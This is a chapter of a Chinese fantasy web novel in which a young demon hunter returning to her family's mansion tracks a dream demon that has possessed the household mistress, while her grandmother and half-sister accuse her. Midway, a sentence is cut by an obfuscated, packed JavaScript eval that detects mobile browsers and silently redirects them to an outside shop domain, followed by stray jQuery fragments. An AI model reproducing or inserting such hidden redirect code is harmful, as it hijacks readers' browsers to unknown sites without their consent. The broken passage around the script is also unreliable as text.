宁雁书不动声色的将手腕上的阴阳镯安抚下来,她抬眸,直视着薛老夫人。
她手上的阴阳镯是上好的法器,是曾经师兄送给她的,现在被她炼化成了自己的本命收妖法器,妖物的一丝异动,阴阳镯都能感受的到。
宁雁书主动作揖:“祖母,我累了。”
薛老夫人毕竟是在薛府待的最久的人,也知道自己儿子对这个女儿愧疚的很,此时若是给下马威,倒是容易闹不愉快。
薛紫鹃还想冲上去说些什么,被身边的薛老夫人轻轻压下,终究只哼了一声。
薛老夫人闭了闭眼,叹了口气,对着身后的丫鬟示意。
“先前吩咐你们收拾的房间,若是收拾完了,便带大姑娘住进去吧。”
丫鬟点头,上前引路:“大姑娘请跟奴婢来。”
宁雁书拂了拂衣袖,手中的油纸伞已久被她攥在手心,上面的雨水已经滴的没多少了。
小丫鬟在前引路,两只小腿倒腾的飞快,若是宁雁书真的累了,一个不小心可能就会跟丢。
二人一路,行至了薛家府邸的最深处,廊道边的枝叶冲出来了许多,地上落叶遍布,平日里想必是很少有人踏足。
廊道尽头是一间院子,院子上的牌匾歪歪扭扭,上面挂的灯笼看样子年龄已经有了三四年。
丫鬟偷偷抬头,想要看看这位大姑娘的表情。
宁雁书环视四周,表情还是那一副云淡风轻,就算院子破败不堪,她也没有放在心上。
丫鬟十分诧异,还想推门进去,被宁雁书出声叫住了:“你回去吧,我不习惯身边有人。”
丫鬟欲言又止,想说些什么,但在看见宁雁书那双眼睛后,还是把想说的话全部咽进了肚子,她象征性的拱手,巴不得快点离开这里。
宁雁书确认丫鬟走后,一把推开了大门。
门内寒风汹涌,伴随着刚刚下完雨的湿润,明明是白日,院落里还是透着刺骨的寒意。
“这是......妖气。”
她的声音冷了下来,带着对妖物刻在骨子里的恨意。
青衣少女手腕上的阴阳镯发出了一阵阵跳动,就像是饿了许久的狼,终于闻到了食物的味道。
她没有犹豫,抬步跨了进去,就在少女进门的那一刻,那股阴湿的妖气消失了。
手腕上的阴阳镯恢复了平静,青衣少女从储物袋中堪堪取出一张黄色的符纸。
寻影符箓可以收集妖物残留的气息,来帮助天师分辨妖物的种类,实力,还有所处方位。
宁雁书咬破手指,在黄纸上用血画了一串常人看不懂的符箓,她的嘴中低声念着一串咒语,语速飞快,片刻后,手中的符箓发出金光,随后自燃,沉入了地底。
“是梦妖......”
宁雁书低声分析。
“妖力竟然还不小,没想到这长安城中,竟还有如此妖物寄居。”
薛府中传来了一阵叫声。
“不好了!主母晕倒了!!”
丫鬟和小厮的叫声混杂成了一片,宁雁书顺着声音的源头望去,突然发现,寻影符中,指示的方向,就在此处!
主房中,屈媛媛面色惨白的躺在床上,她的额间冒着密密麻麻的冷汗,丫鬟小雨坐在床边,不停的为她擦拭着。
小雨满脸担忧,眉头紧皱,十分不耐烦,想要转头催一催,水怎么还没有端过来。
冷风吹得门嘎吱作响,就连床上的床幔都被风刮了起来,小雨转头刚想指责院中小厮,就在她转过头的一刹那,喝骂声硬生生的卡在了喉咙里。
宁雁书一身青衣,衣诀纷飞,就这么立在风中。
她径直走了进来,小雨震惊的连拦人都忘了。
小雨本以为这刚刚归家的大姑娘一定是一个又丑又蠢的乡野之人,结果没有想到竟然如此清纯貌美,怕是连二姑娘和三姑娘都是比不上的。
宁雁书的目光锁在床上的屈媛媛身上,梦妖入体,她现在的状态,可谓是叫天天不灵叫地地不应。
宁雁书曾经见过一次梦妖,但是活了这么久的,她却没见过。
只听说,梦妖一般在阴气重的地方生活,还特别喜欢偷窥旁人的梦境,他偷窥的梦境越多,实力也就越强悍。
青衣少女手腕上的阴阳镯已经饥渴难耐,镯子自然的从少女的手腕滑落到了手心中,一瞬间,变大了几倍。
这时,门外再次响起了一阵急促的脚步声,还有拐杖杵地的声音。
屈媛媛体内的梦妖似乎是察觉到了人变多了,竟直接选择跑路,看样子,还是比较谨慎。
宁雁书只好将自己手中的阴阳镯重新滑回了手腕。
薛紫鹃慌乱的跑了进来,恰好看见了站在床边,显得有些鬼鬼祟祟的宁雁书。
薛紫鹃有一瞬间的错愕,但她反应迅速,上前,跪在了薛老夫人的身边,双手死死的抓着她的衣袖,哭的梨花带雨。
“祖母,还请祖母为鹃儿做主,鹃儿不知怎得,便惹得大姐姐如此对我!”
“大姐姐才回府多久,先是阿爹出事,现在又是阿娘!”
薛老夫人看着她这副模样,心像是被人扎了几刀,心疼的紧。
“鹃儿,起来,在这府中,你不必跪任何人!”
薛老夫人藐视着宁雁书,眼中的火气藏都藏不住。
“薛南枝!给我跪下!”
“你从小无父无母,老身本还体谅你,但鹃儿有什么错!你何必如此咄咄相逼呢?鹃儿从小有父母宠爱,你就嫉妒心作祟,非要把我们薛家弄得家破人亡才肯罢休!”
薛紫鹃有祖母的撑腰,更加变本加厉,她扑到了屈媛媛的床前,双手紧紧的握着她冰凉的手。
“大姐姐,鹃儿求求你,放过我阿爹和阿娘吧,你和他们没有情谊,可他们毕竟也算是你的家人啊!”
宁雁书看着面前着演着二人转的祖孙,一时间有些恍惚,师门中,她是受宠的师妹,有师兄的庇护,还从来没有感受过被人冤枉的滋味。
不论何时,不论何事,只要师兄在,她就没有受过一点委屈。
师兄曾经,也是像薛老夫人护着薛紫鹃一样护着她。
“你们薛家人可真是不讲道理,怪不得能被一个半吊子道士骗得团团转。”
宁雁书那本就清冷的面容上更添了几分寒意,她的脊背挺得笔直,目光冷淡。
床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887197|212590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的屈媛媛面色渐渐好转,已经有了苏醒的征兆。
薛老夫人将情况收入眼底,先前听闻薛紫鹃的话,本就更加心疼,此时宁雁书的话,更加触发了她的霉头,她冲着宁雁书怒斥:“从今日起,你不再是薛家的人!”
她顿了顿,没有被怒火冲昏了头脑。
“来人!给我将她押入祠堂,给我跪着,看看这薛家的老祖宗认不认!”
院子里的小厮听见这话之后,一起围了上来。
宁雁书没有丝毫退缩,她嗤笑一声,就说了一个字。
“好。”
满屋子里的人纷纷瞪大了双眼,满脸的不可置信,尤其是薛紫鹃。
薛老夫人本来还想着用武力将她绑去,若是薛贺问起,更能显现出是薛南枝不服管教,没想到现在她竟然主动答应了。
“带路。”
宁雁书冷冷的瞥了她们一眼,迈步离开了主房。
长安城中小妖作乱,是断不可留的,去祠堂,倒是可以安稳脱身。
薛家祠堂中一片黑暗,只有微弱的几支蜡烛燃着光。
门外并立着两颗高大的古柏,枝叶浓密,但好在有人日日打扫,比她的住处,好的不止一星半点。
宁雁书在小厮的带领下,走了进去,跪在了中央的一个白色蒲团上,身后关门声响起,接着便是钥匙插入锁扣的声音。
屋内红木墙壁上挂满了薛家的家规和祖训,前方圆桌上摆放着一排排的红木牌位,桌上的香炉还插着几根没有燃完的香。
宁雁书站了起来,她环视着四周,从自己的储物袋中取出了一块面具,戴在了脸上,面具与面容格外贴合,少女的身形随之发生了变化,穿着也化为了方便出行了夜行衣。
手腕上阴阳镯的触感冰凉,青衣少女将镯子紧紧了握在手中。
她攥着阴阳镯,朝着窗户一跃,跳了出去。
天色已晚,明月高悬。
围墙边忽地闪过了一团黑影。
“还敢回来。”
宁雁书身姿轻巧,双腿一蹬,踩在围墙上,少女将手中的阴阳镯猛地朝着黑影砸去。
黑影听见身后传来“嗖”的一声,还不待他转头,右臂瞬间吃痛,他低呼一声,没有丝毫犹豫,认出了少女的身份。
在宁雁书阴阳镯归位,打算再次出手的时候,梦妖毫不犹豫割舍掉了自己的右臂,嗖的一声朝着街道隐匿而去。
宁雁书将他的右臂收入了阴阳镯,看着街道,俯身跟了过去。
梦妖被她的阴阳镯所伤,应当是跑不了多远。
宁雁书亲眼看见那个黑影,直直地冲进了眼前这栋名叫闻音阁的楼中。
闻音阁内,常晏倚在椅子上,手中端着前不久才进贡的上好的茶水,他眼眸微眯,抿了一口茶水。
“回来了就出来,以你的实力,京城中还能给自己弄成这个样子。”
少年一袭矜贵紫衣,声音冰冷,没有温度,样子却是格外懒散。
那团黑影幻化成了一名黑衣男子,男子的右臂血淋淋的,看着触目惊心。
他语气却一改往日的玩笑,格外的认真。
“老大,京城中,有天师。”